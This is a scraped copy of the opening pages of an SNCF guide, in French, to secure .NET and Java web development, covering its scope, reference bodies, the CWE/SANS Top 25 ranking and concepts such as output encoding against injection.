74
Direction des Systèmes d'Information et des Télécommunications Département Études et développements Pôle Services Expertises et Processus Transverses Tour Oxygène, 10-12 boulevard Marius Vivier-Merle 69393 Lyon Cedex 03 (Tour Oxygène CRT Lyon) E-Mail : [email protected] Fax : +33 (0)4 27 44 52 65 Tél. : +33 (0)4 27 44 47 01 (50 47 01) Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN DSIT-E est certifié ISO 9001 par Bureau Veritas DSIT-X est certifié ISO 9001 et ISO 20000-1 par AFAQ Référence : 12AMQ Version : 1 Document propriété SNCF - Reproduction et diffusion interdites.

12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

  • Upload
    vungoc

  • View
    216

  • Download
    0

Embed Size (px)

Citation preview

Page 1: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

Direction des Systèmes d'Information et des Télécommunications Département Études et développements Pôle Services Expertises et Processus Transverses Tour Oxygène, 10-12 boulevard Marius Vivier-Merle 69393 Lyon Cedex 03 (Tour Oxygène CRT Lyon) E-Mail : [email protected] Fax : +33 (0)4 27 44 52 65 Tél. : +33 (0)4 27 44 47 01 (50 47 01)

Sécurisation des développements .NET et Java

Guide de bonnes pratiques de développement

Projet ZEN

DSIT-E est certifié ISO 9001 par Bureau Veritas DSIT-X est certifié ISO 9001 et ISO 20000-1 par AFAQ

Référence : 12AMQ Version : 1 Document propriété SNCF - Reproduction et diffusion interdites.

Page 2: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page ii

Table des matières

1 A PROPOS DE CE DOCUMENT – INTRODUCTION 1

1.1 Objectifs de l’étude 1

1.2 Domaine d’application 1

1.3 Sources et organismes de référence 2

2 FAILLES DE SÉCURITÉ DU TOP 25 CWE / SANS 3

2.1 Présentation et sélection des failles 3 2.1.1 Liste par ordre de fréquence et d’importance 3 2.1.2 Importance relative par rapport aux langages 4 2.1.3 Périmètre de l’étude – sélection des failles couvertes 5

2.2 Concepts préalables 6 2.2.1 Inputs et outputs 7 2.2.2 Traitements et données 7 2.2.3 Cas des injections 8

2.3 Description des failles et mesures de prévention 10 1 – CWE-079 : Neutralisation incorrecte d’input dans une page Web générée (Cross-Site Scripting / XSS) 12 2 – CWE-089 : Injection SQL 17 3 – CWE-120 : Copie de buffer avec source trop grande (buffer overflow) 21 4 – CWE-352 : Usurpation de requêtes (Cross-Site Request Forgery / CSRF / XSRF) 22 5 – CWE-285 : Contrôle d’accès défaillant ou insuffisant 25 6 – CWE 807 : Décision de sécurité dépendante d’entrées non vérifiées 28 7 – CWE-022 : Limitation défaillante d’un chemin d’accès à un répertoire donné (Path Traversal)30 8 – CWE-434 : Soumission de fichiers dangereux par téléchargement 33 9 – CWE-078 : Injection de commande système 35 10 – CWE 311 : Absence de chiffrement dans la transmission des données sensibles 38 11 – CWE-798 : Utilisation de mot de passe en dur dans le code 42 15 – CWE-754 : Traitement incorrect de conditions rares ou exceptionnelles 44 16 – CWE 209 : Divulgation d'informations à travers les messages d'erreur 46 17 – CWE-190 : Dépassement ou bouclage cyclique d’un entier (integer overflow or wraparound)48 19 – CWE-306 : Authentification manquante pour un traitement nécessitant des privilèges 51 20 – CWE 494 : Téléchargement et utilisation de code externe sans contrôle d’intégrité 53 21 – CWE-732 : Permissions incorrectes sur une ressource critique 55 22 – CWE 770 : Allocation non-contrôlée de ressources 57 23 – CWE-601 : Redirection de requête vers un URL non vérifié 59 24 – CWE 327 : Utilisation d'un algorithme de chiffrement peu éprouvé ou réputé peu robuste 61 25 – CWE-362 : Concurrence de thread (race condition) 63

Page 3: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page iii

3 AUTRES BONNES PRATIQUES 66

3.1 Prévention générale 66

3.2 Bases de données 67

RÉFÉRENCES 68

TERMINOLOGIE 69

Page 4: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 1 / 1

1 A propos de ce document – introduction

1.1 Objectifs de l’étude Ce document a pour objectif de fournir un guide de développement concernant la sécurité des applications logicielles Web pour Java et .NET. Les failles les plus courantes sont décrites, complétées par des exemples et des mesures de prévention (préconisations).

Ce guide se veut : d’abord théorique dans la description des failles et des principes et concepts associés, afin de sensibiliser au maximum le développeur, le concepteur et l’architecte à la problématique de la sécurité ; et ensuite pratique dans les exemples et mesures de préventions proposées — sans toutefois couvrir de manière exhaustive les technologies, librairies et frameworks pouvant contribuer à l’amélioration de la sécurité, étant donné leur trop grande multitude et diversité.

Enfin, pour des raisons de cohérence, certaines préconisations d’ordre assez général sortent du cadre (restrictif) du développement pur, et ont trait également à l’architecture, à la conception, à la configuration et au déploiement des applications.

1.2 Domaine d’application Le domaine d’application de l’étude est celui des applications Web (client léger), dans les filières technologiques Java et Microsoft.NET.

Bien que de nombreuses failles et mesures de prévention décrites ici puissent s’appliquer aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise en œuvre et surtout leur priorisation ne seront pas forcément les mêmes : les applications Web présentent en effet, du point de vue de la sécurité, de réelles spécificités.

Certaines préconisations de prévention et exemples sont déclinés à la fois en Java et en .NET, lorsque cela s’avère nécessaire du fait de différences notables. Toutefois ces deux environnements présentent de nombreuses similitudes, à savoir :

• une machine virtuelle multithread exécutant du bytecode compilé indépendant de la plateforme ou du système d’exploitation sous-jacent ;

• des langages récents orientés objets (Java et C# pour .NET), fortement typés, avec gestion des exceptions, de la mémoire (garbage collector), des références, des tableaux, etc., et munis de librairies de classes de base très complètes et fiables ;

• des serveurs d’applications possédant leur processus propre, et donc une mémoire vive « persistante » entre les requêtes pouvant conserver un contexte (à l’inverse d’environnements tels que PHP qui recréent ce contexte à chaque requête), et avec une gestion intégrée des sessions, de l’authentification, des filtres, des ressources, etc. ;

• des langages de présentation similaires (JSP et ASP.NET) ;

• une gestion avancée des services Web (SOAP) et des technologies à base d’XML ;

• et enfin de fortes similitudes dans les frameworks Web et de persistance (par exemple Hibernate et NHibernate), et dans l’architecture des solutions en général.

Ces caractéristiques définissent un profile technique d’application Web qui constitue le domaine d’application de cette étude.

Page 5: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 2 / 2

1.3 Sources et organismes de référence Les sources utilisées dans cette étude sont détaillées dans le document 12AP2 [1], qui fait état d’un certains nombre d’organismes de référence dans le domaine de la sécurité applicative. Les principaux, retenus pour cette étude, sont :

• l’OWASP (Open Web Application Security Project) : organisation d’intérêt public internationale dont l’objectif est d’améliorer la sécurité des applications logicielles, et auteur de l’OWASP Top 10 risks [6]et de l’OWASP Development Guide [7] ;

• MITRE : organisation (corporation) à but non lucratif, américaine spécialisée dans les technologies de l’information, au service principalement du département de la défense américain (DoD), et responsable notamment de la Common Weakness Enumeration (CWE) [3], un dictionnaire communautaire des failles de sécurité logicielles ;

• SANS (Sys-Admin, Audit, Network, Security) : organisation de recherche (d’origine académique) et institut de formation et de certification sur la sécurité des systèmes et applications, une des principales sources d’articles scientifiques sur la sécurité, et responsable conjointement avec MITRE du Top 25 CWE / SANS [6] ;

• WASC (Web Application Security Consortium) : groupement international d'experts, d’entreprises et d’associations produisant des bonnes pratiques sur la sécurité du Web, et auteur du WASC Threat Classification [10], une liste de failles potentielles et de propositions de prévention pour les sites et applications Web ;

• CERT (Coordination Emergency Response Team) : organisme international complexe (avec des instances dans chaque pays) chargé de fournir du support pour la prévention et l'assistance des attaques informatiques aux entreprises et administrations, auteur du CERT Secure Coding Standard [11], sur le développement sécurisé Java et C/C++ ;

• ISO (International Organization for Standardization) : les normes ISO 27001 et ISO 27002 définissent un cadre de référence la gestion de la sécurité de l’information ;

• ISF (Information Security Forum) : organisation internationale de bonnes pratiques sur la sécurité de l'information, et auteur du Standard of Good Practice for Information Security [12], un standard très général sur la sécurité des systèmes d'information.

Les différents documents mentionnés ci-dessus recensent de manière plus ou moins exhaustive les types d'attaque et les vulnérabilités des applications Web, et sont de fait relativement complexes. Par exemple, la liste des failles du CWE recense plus de 800 faiblesses. De toute évidence une étude exhaustive de ces différentes failles ne peut être faite dans le cadre de cette étude au vu de la charge allouée. Il a été décidé de se focaliser sur les attaques les plus fréquentes et les plus critiques dans notre contexte.

Pour ce faire, le Top 25 CWE / SANS [4] du MITRE et du SANS, ainsi que le Top 10 risks 2010 [6] de l'OWASP, ont été retenus pour la définition du périmètre (section 2.1.3). Le Top 25 CWE sert de référence pour la granularité, la classification et l’identification des failles, mais une correspondance existe avec les risques du Top 10 de l’OWASP, et ce dernier a été utilisé largement pour les exemples et la description des risques.

N'ont donc pas été utilisés directement, mais référencés à titre d’information, les documents généralistes comme le WASC Threat Classification ou le Standard of Good Practice for Information Security. Les normes ISO sont quant à elles plutôt orientées vers la certification de systèmes d'informations — en outre certaines normes sont relativement anciennes (2005). Enfin le CERT fournit une documentation plus spécifique et relativement exhaustive sur les bonnes pratiques liées à un langage donné (par exemple, pour Java, le CERT Sun Microsystems Secure Coding Standard for Java), mais qui cependant manque de priorisation pour cette étude.

Page 6: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 3 / 3

2 Failles de sécurité du TOP 25 CWE / SANS

2.1 Présentation et sélection des failles

2.1.1 Liste par ordre de fréquence et d’importance1

Rang2 Score ID CWE Description succincte

[1] 346 CWE-79 Neutralisation incorrecte d’inputs dans une page Web générée (Cross-Site Scripting, XSS)

[2] 330 CWE-89 Injection SQL

[3] 273 CWE-120 Copie de buffer sans contrôle de la taille de la source

[4] 261 CWE-352 Usurpation de requête (Cross-Site Request Forgery, CSRF / XSRF)

[5] 219 CWE-285 Contrôle d’accès défaillant ou insuffisant

[6] 202 CWE-807 Décision de sécurité dépendante d’entrées non-vérifiées

[7] 197 CWE-22 Limitation défaillante d’un chemin à un répertoire (Path Traversal)

[8] 194 CWE-434 Soumission de fichiers dangereux par téléchargement

[9] 188 CWE-78 Injection de commande système

[10] 188 CWE-311 Absence de chiffrement dans la transmission des données sensibles

[11] 176 CWE-798 Utilisation de mot de passe en dur dans le code

[12] 158 CWE-805 Accès à un buffer avec un offset incorrect

[13] 157 CWE-98 Contrôle défaillant des include/import en PHP (PHP File Inclusion)

[14] 156 CWE-129 Non validation d’un indice de tableau

[15] 155 CWE-754 Traitement incorrect de conditions rares ou exceptionnelles

[16] 154 CWE-209 Divulgation d'informations à travers les messages d'erreur

[17] 154 CWE-190 Valeur entière hors limite ou cyclique

[18] 153 CWE-131 Calcul incorrect de la taille d’un buffer

[19] 147 CWE-306 Authentification manquante pour une fonction critique

[20] 146 CWE-494 Téléchargement et utilisation de code sans contrôle d’intégrité

[21] 145 CWE-732 Permissions incorrectes sur une ressource critique

[22] 145 CWE-770 Allocation non-contrôlée de ressources

[23] 142 CWE-601 Redirection de requête vers un URL non vérifié (Open Redirect)

[24] 141 CWE-327 Utilisation d'un algo. de chiffrement peu éprouvé ou peu robuste

[25] 138 CWE-362 Concurrence de thread (race condition)

Tableau 1. Liste des failles du TOP 25 CWE/SANS classées par rang (ordre d’importance).

1 Les failles en grisé ne sont pas traitées dans ce document (voir section 2.1.3). 2 Le score et le rang sont déterminés par une moyenne entre l’importance et la fréquence de la faille.

L’importance est fonction des votes des contributeurs du Top 25 CWE / SANS, et reste donc subjective.

Page 7: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 4 / 4

2.1.2 Importance relative par rapport aux langages

Le tableau 2 ci-dessous (voir section 2.3 pour la signification des pictogrammes) donne l’importance relative des différentes failles du Top 25 CWE-SANS par rapport aux langages C/C++, Java et PHP. C#.NET, bien que non précisé ici, se rapprochera de java dans ce tableau, ayant des caractéristiques similaires.

R. C++ Java PHP ID CWE Classement OWASP

Description Commentaire

1 CWE-79 2 Cross Site Scripting Concerne applications Web

2 CWE-89 1 Injection SQL Concerne appli. avec SGBD

3

CWE-120 Copie de buffer avec source trop grande (buffer overflow)

Peut indirectement affecter des langages interprétés dits « safe », si l’interpréteur est écrit en C/C++

4

CWE-352 5 Usurpation de requête (CSRF)

Applications Web uniquement, indépendant du langage

5 CWE-285 3 Pb. contrôle d’accès Indépendant du langage

6

CWE-807 Décision de sécurité basée sur input

Independent du langage, mais très fréquent dans les applications Web

7 CWE-22 8 Path Traversal Peu dépendant du langage

8 CWE-434 Upload dangereux

9

CWE-78 1 Injection de commande système

10

CWE-311 7 Pas de cryptage pour donnée sensible

Indépendant du langage

11 CWE-798 Mots de passe en dur Indépendant du langage

12 × × CWE-805 Accès à un buffer

avec offset incorrect (cf. commentaire CWE-120)

13 × × CWE-98 Inclusion de fichier

PHP Pb équivalents dans d’autres langages, mais prévaut en PHP

14

CWE-129 Indice de tableau incorrect

Impact beaucoup plus fort en C/C++ que langages interprétés

15

CWE-754 Traitement condition exceptionnelle

Moins présent dans les langages avec exceptions vérifiées (java)

16

CWE-209 Exposition d’info par message d’erreur

Fréquent dans appli. Web factori-sant la gestion des exceptions

17

CWE-190 Dépassement d’entier

Impact sécurité surtout en C/C++

18

CWE-131 Taille de buffer incorrecte

(cf. commentaire CWE-120)

19

CWE-306 Pas d’authentification pour fonction critique

Prévaut dans les applications Web, indépendant du langage

20

CWE-494 Download code sans contrôle d’intégrité

Concerne surtout code mobile ou application avec mise à jour auto.

Page 8: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 5 / 5

21

CWE-732 Permission incorrecte sur ressource critique

Indépendant du langage

22

CWE-770 Allocation de ressource sans limite

Moins problématique dans env. avec gestion auto. de ressources

23

CWE-601 10 Redirection d’URL sans contrôle

Applications Web uniquement, indépendant du langage

24

CWE-327 9 Mauvais algorithme de cryptage

Certains langages n’ont pas de librairies de cryptographie…

25

CWE-362 Concurrence de thread

Concerne tout langage multi thread ou interagissant avec l’OS

Tableau 2. Prévalence et importance relative des failles par rapport aux langages

2.1.3 Périmètre de l’étude – sélection des failles couvertes

Le périmètre désigne ici les risques et failles couverts par ce document, par opposition au domaine d’application qui désigne les types d’applications concernés.

2.1.3.1 Périmètre complet issu du Top 25 Dans un souci de complétude nécessaire à notre démarche de sensibilisation, toutes les failles du Top 25 applicables à notre contexte — c’est à dires les applications Web Java ou .NET ― ont été retenues dans le périmètre de l’étude. On notera toutefois que :

• Les dépassements de buffer (CWE-120, 131), bien que pouvant indirectement survenir lorsque l’interpréteur concerné (JVM, runtime .NET, …) a été développé en C/C++ (grande majorité des cas) n’ont pas été inclus dans ce document, car d’une part ce risque est très faible, et d’autre part peu de mesures peuvent être prises pour parer à cette éventualité au niveau du développement d’une application Web Java ou .NET. Il s’agira plus d’un défaut de l’interpréteur que de l’application.

• La non-validation d’indice de tableau (CWE-129) n’a pas été incluse car d’une part une exception est systématiquement levée en Java et .NET en cas d’indice de tableau incorrect, et d’autre part les API à base de tableaux sont de moins en moins utilisées en faveur d’API basées sur des structures de données plus évoluées comme les listes, ensembles ou dictionnaires. Le risque associé et l’impact sont donc beaucoup plus faibles en Java et .NET que pour les langages C/C++.

• Le dépassement d’entier (CWE-190) cependant, pourtant noté dans le tableau 2 comme ayant un impact de sécurité faible en Java, a été inclus dans ce document dans la mesure où, contrairement aux indices de tableau hors limite par exemple, cette faille ne provoque pas en Java de levée d’exception, ce qui la rend plus difficile à détecter et à traiter, et donc plus dangereuse. En .NET, la levée d’exception dépend du mode checked ou unchecked (voir faille 17 – CWE-190).

Ceci étant posé, il nous parait clair que ce périmètre, assez complet, implique des mesures de prévention relativement couteuses si l’on souhaite être exhaustif. Il correspondra donc aux applications les plus critiques en termes de sécurité.

Il nous a donc paru utile de définir un périmètre réduit, d’une douzaine de failles, particulièrement adapté à notre domaine d’application, couvrant de l’ordre de 80% des risques si l’on tient compte de la prévalence des failles, et surtout moins coûteux en termes de prévention. Ce périmètre réduit est présenté dans la section suivante (2.1.3.2).

Page 9: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 6 / 6

2.1.3.2 Périmètre réduit Le périmètre réduit correspond d’abord au croisement entre les failles du Top 25 CWE / SANS, et le Top 10 risks de l’OWASP ; ce dernier en effet s’applique aux applications Web, plus près de notre domaine d’application, alors que le CWE couvre l’ensemble des applications. Ce croisement nous donne les 11 failles suivantes, par rang du Top 25 : 1, 2, 4, 5, 9, 10, 11, 16, 19, 23 et 24.

Nous avons apporté quelques ajustements à cette liste, fonction de notre expérience et du contexte SNCF, en retirant la faille 19 (CWE-306), qui nous a semblé déjà en grande partie couverte par la faille 5 (CWE-285), et en ajoutant les failles 6 (CWE-807) et 7 (CWE-022), peu couteuses en prévention et importantes.

Au final, cela nous donne les 12 failles suivantes pour lé périmètre réduit :

• 1 – CWE-079 : Neutralisation incorrecte d’input dans une page générée (XSS) ;

• 2 – CWE-089 : Injection SQL ;

• 4 – CWE-352 : Usurpation de requête (CSRF / XSRF) ;

• 5 – CWE-285 : Contrôle d’accès défaillant ou insuffisant ;

• 6 – CWE-807 : Décision de sécurité dépendante d’entrées non vérifiées ;

• 7 – CWE-022 : Limitation défaillante d’un chemin d’accès (Path Traversal) ;

• 9 – CWE-078 : Injection de commandes systèmes ;

• 10 – CWE-311 : Absence de chiffrement dans la transmission de donnée sensible ;

• 11 – CWE-798 : Mots de passe en dur dans le code ;

• 16 – CWE-209 : Divulgation d’information à travers les messages d’erreur ;

• 23 – CWE-601 : Redirection de requête vers un URL non vérifié (Open Redirect) ;

• 24 – CWE-327 : Utilisation d'un algorithme de chiffrement peu fiable.

Ce périmètre réduit peut également être associé aux mesures de prévention générale, présentées section 3.1, dans une première phase de sécurisation des applications.

En outre, chaque faille est associée à plusieurs mesures de prévention qui, comme nous le verrons en 2.3, sont priorisées en mesures importantes (fortement recommandées), mesures recommandées et mesures optionnelles.

DSIT-EX préconise grandement de couvrir l’ensemble de ces douze failles pour garantir une sécurité de logiciel satisfaisante.

Une première phase de sécurisation pourra donc consister à prendre en compte en priorité les mesures importantes du périmètre réduit, puis dans une deuxième phase les mesures recommandées, puis, selon la criticité du projet, étendre aux mesures importantes du périmètre complet dans une troisième phase, etc.

2.2 Concepts préalables La lecture de ce document nécessite d’une part une bonne connaissance des technologies du Web et des environnements Java et/ou .NET, et d’autre part la compréhension de quelques concepts de bases présentés ici, qui permettront en outre de définir de façon univoque la terminologie.

Page 10: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 7 / 7

2.2.1 Inputs et outputs

Nous avons choisi dans ce document d’utiliser les anglicismes input et output plutôt que les termes entrées et sortie, car ils ont de fait des sens connotés plus larges que ces dernier. On associe par exemple trop souvent le terme « entrée » à des données entrées au clavier par l’utilisateur, dans un formulaire ou autre ; input est plus général.

Dans ce document, nous qualifierons d’input tout donnée provenant de l’extérieur de l’application, y compris par le biais de composants autres que le navigateur client, et d’output toute donnée allant vers l’extérieur de l’application, y compris vers d’autres composants non appréhendés par l’utilisateur. Il ne s’agit donc pas des entrées-sorties dans la vision interactions homme-machine, mais bien dans une vision systémique.

Il est donc également nécessaire de définir ici le périmètre de ce que nous entendons par application : l’application est ici l’ensemble des programmes conçus et développés dans le cadre du projet considéré (code source), c'est-à-dire sous la maîtrise directe de l’équipe projet, à l’exclusion de tout composant externe.

Figure 1. Inputs et outputs de l’application

Ainsi, une base de données, même applicative, sera ici considérée comme externe, de même qu’un Web Service, un proxy, un composant externe, une autre application, un fichier, etc. Une requête envoyée à une base de données est donc un output de l’application, alors que la réponse de la base de données sera un input.

Bien sur, dans la majorité des cas, les inputs les plus facilement manipulables par un attaquant potentiel sont ceux provenant du navigateur Web client, c'est-à-dire les requêtes HTTP, toutefois en combinant plusieurs attaques ou en compromettant d’autres composants un attaquant peut aussi venir à contrôler d’autres canaux d’input.

2.2.2 Traitements et données

Le concept de donnée est de plus en plus délicat à différencier des traitements dans les applications Web modernes, où de nombreux éléments peuvent être interprétés à des

Application Web (JEE ou .NET)

Web Service, source RSS, base XML…

Système d’exploitation

input

input

input output : encoding anti-XSS

output : encoding anti OS command injection

output : encoding anti SQL injection

output : encoding anti X-path injection

Bases de données

Navigateur Web client

input

Page 11: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 8 / 8

niveaux différents - nous sommes loin du temps où les traitements étaient presque exclusivement compilés en langage machine. Selon le point de vue et le niveau auquel on se place, une même information peut parfois être perçue comme une donnée ou un traitement : par exemple, l’état d’un automate, une structure JSON, etc.

La nature même des interpréteurs, comme les SGBD ou les navigateurs Web, fait que les données et traitements sont souvent mélangés dans un même document, URL ou requête SQL, et qu’il est parfois difficile de séparer correctement les deux.

De ce fait, dans le contexte de cette étude, nous adopterons une définition des données par rapport aux traitements autant centrée sur la variabilité de l’information, que sur sa faculté à être interprétée : une donnée sera un fragment d’information non destiné à être directement interprété par un interpréteur généraliste et sujet à une variabilité non maîtrisée (sans précaution particulière) par le concepteur, l’architecte ou le développeur. Nous pouvons citer :

• tout ce qui provient d’un input et n’est pas directement destiné à être interprété, typiquement les paramètres de requêtes HTTP ;

• toute valeur d’un système de persistance (provenant généralement indirectement d’un input), comme un SGBD ou un fichier ;

• tout résultat typé comme non interprétable ou exécutable provenant d’un composant extérieur à l’application ;

Notons que cette définition défavorise quelque peu l’usage de la méta-programmation ou les abus de réflexivité, qui de toutes façon sont peu compatibles avec la sécurité.

Un traitement sera quant à lui fixé et maîtrisé par le développeur, généralement dans le code source où les fichiers de configurations de l’application, donc non sujet à variabilité, et sera bien sur destiné à être exécuté ou interprété.

Les traitements regroupent par exemple :

• les tags structurants d’une page Web générée, non destinés à être modifiés par l’utilisateur de l’application ;

• les scripts (JavaScript) des pages Web de l’application ;

• les scripts BPEL ou autres descripteurs de processus métier ou workflows ;

• les requêtes SQL, stockées statiquement dans le code ou des fichiers de configuration ;

• mais aussi toute structure symbolique interprétable par l’application elle-même, comme par exemple la définition des transitions d’un automate à états finis, etc.

2.2.3 Cas des injections

2.2.3.1 Contrôle des inputs versus encodage des outputs Une application de la définition donnée en 2.1.1 concerne notamment deux mesures de préventions que l’on retrouve dans de nombreuses failles, et en particulier celles de la famille des injections : le contrôle ou la validation des inputs d’une part, et l’encodage des outputs d’autre part.

Ces deux types de mesures de prévention peuvent en effet à première vue sembler similaires. En observant la figure 1, il est aisé de voir qu’il n’en est rien, et qu’elles désignent en fait des choses bien différentes.

Page 12: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 9 / 9

Généralement, l’encodage des outputs est considéré comme plus important que le contrôle des inputs, ce qui peut paraître contre-intuitif. La raison est que ce dernier, même s’il permet de réduire la surface d’attaque, dépend avant tout des besoins fonctionnels de l’application, qui vont parfois en contradiction avec des restrictions que l’on pourrait envisager pour se protéger de certaines attaques par injections. Si l’application a par exemple besoin de pouvoir stocker du texte libre en français, il est délicat d’interdire l’apostrophe « ' » ou le point-virgule « ; », pourtant source d’injections SQL.

L’encodage des outputs va quant à lui dépendre de l’interpréteur cible (base de données, navigateur Web) : il peut donc être précisément adapté à ce contexte, et peut varier d’un interpréteur cible à l’autre pour un même input, comme le montre la figure 1. Un message de forum peut donc être encodé de façon à neutraliser les apostrophes ou points-virgules avant d’être stocké en base de données, afin de se prémunir contre les injections SQL, puis être décodé et ré-encodé de manière à neutraliser les tags HTML ou scripts potentiels lors de l’affichage dans une page Web générée, afin d’empêcher le cross-site scripting.

2.2.3.2 Séparation entre données et traitements Une autre mesure de prévention impliquant les injections consiste à garder clairement séparés les données et les traitements. En se basant sur la définition donnée en 2.2.2, nous pourrions même ajouter : « faire en sorte que les traitements ne proviennent jamais d’input », qui est la conséquence logique de cette règle.

Pour produire un résultat utile, un traitement doit toutefois être appliqué à des données. L’idée est ici de s’assurer que les données seront bien considérées comme telles par l’interpréteur concerné. Un bon moyen de s’en assurer est donc de les isoler et de les typer ou tagger comme données non destinées à être interprétées, puis de les fournir séparément à l’interpréteur en éliminant tout risque de « mélange ».

Les interpréteurs fournissant une API structurée prenant des paramètres fortement typés seront bien entendus beaucoup plus sûrs de ce point de vue que les interpréteurs n’acceptant que des requêtes textuelles (chaînes de caractères) où données et traitements doivent finalement être combinés, séparés uniquement par des caractères délimiteurs.

Enfin lorsqu’une application doit permettre à un utilisateur de modifier de façon presque « programmatique » le comportement de l’application (ce que l’on désigne généralement par scripting ou macro), cette séparation est impossible à maintenir, et l’on est obligé alors de limiter les droits ou possibilités de l’interpréteur pour maîtriser le comportement final, par des techniques dites de bac à sable ou de prison.

Page 13: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 10 / 10

2.3 Description des failles et mesures de prévention Chaque faille de sécurité retenue du Top 25 CWE / SANS est décrite en détail dans cette section, suivie des mesures de préventions qui la concernent. La description de chaque faille suit une structure identique, comme suit :

• caractéristiques : les caractéristiques suivantes sont résumées et quantifiées dans un tableau, en associant un pictogramme ou code à chaque caractéristique :

- fréquence de la faille : fréquence ou prévalence de la faille dans les applications (principalement Web), évaluée en fonction de statistiques et retours fournis par les contributeurs du Top 25 CWE / SANS et de l’OWASP ;

- coût de correction : coût en ressources et temps de développement pour protéger une application de cette faille — un coût élevé correspondra à des modifications significatives du code et de l’architecture, un coût moyen à la modification d’un composant ou fichier, et un coût faible à la modification d’une méthode ;

- fréquence des attaques : fréquence d’implication de cette faille dans les attaques réelles recensées par les contributeurs du CWE et de l’OWASP ;

- facilité de détection de la faille : facilité avec laquelle un attaquant motivé pourra détecter cette faille, avec un accès standard à l’application ;

- probabilité de connaissance de la faille et de son exploitation par un attaquant : la probabilité avec laquelle un attaquant connaîtra l’existence (théorique) et les principes de cette faille, les méthodes pour l’exploiter, et d’éventuels outils pour faciliter ou automatiser son exploitation ;

- conséquences / impact : conséquences potentielles de l’exploitation de la faille par un attaquant sur l’application ou le système hôte, à savoir :

• [CE] Code Execution (exécution de code) : du code arbitraire (binaire ou interprété) peut être exécuté sur le système hôte, l’application, le navigateur client, ou un composant utilisé par l’application ;

• [DL] Data Loss (perte de données) : peut entraîner le vol, la perte ou la corruption de données applicatives ou autres (base de donnée, etc.) ;

• [DoS] Denial of Service (déni de service) : peut entraîner l’indisponibilité ou le ralentissement du service, empêchant un usage normal de l’application ;

• [SB] Security Bypass (contournement de la sécurité) : permet de contourner le contrôle d’accès ou un mécanisme de protection de l’application ;

• description : une description relativement détaillée de la faille ;

• exemples : des exemples de code défaillant illustrant la faille, en Java et .NET ;

• prévention : les principales mesures de préventions et bonnes pratiques associées à cette faille, regroupées en catégories qualifiant l’aspect ou le principe concerné.

Les mesures de prévention sont hiérarchisées par catégories, mais aussi au niveau de chaque mesure de prévention : les « sous règles » ou « sous mesures » correspondent soit à des mises en pratique ou contextualisation de la règle principale, souvent plus théorique, soit à des cas particuliers ou variantes de cette même règle.

Les pictogrammes utilisés pour « quantifier » chaque caractéristique de la faille sont présentés dans le tableau 3 ci-dessous, avec leur signification relative selon le type de caractéristique ou de valeur.

Page 14: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

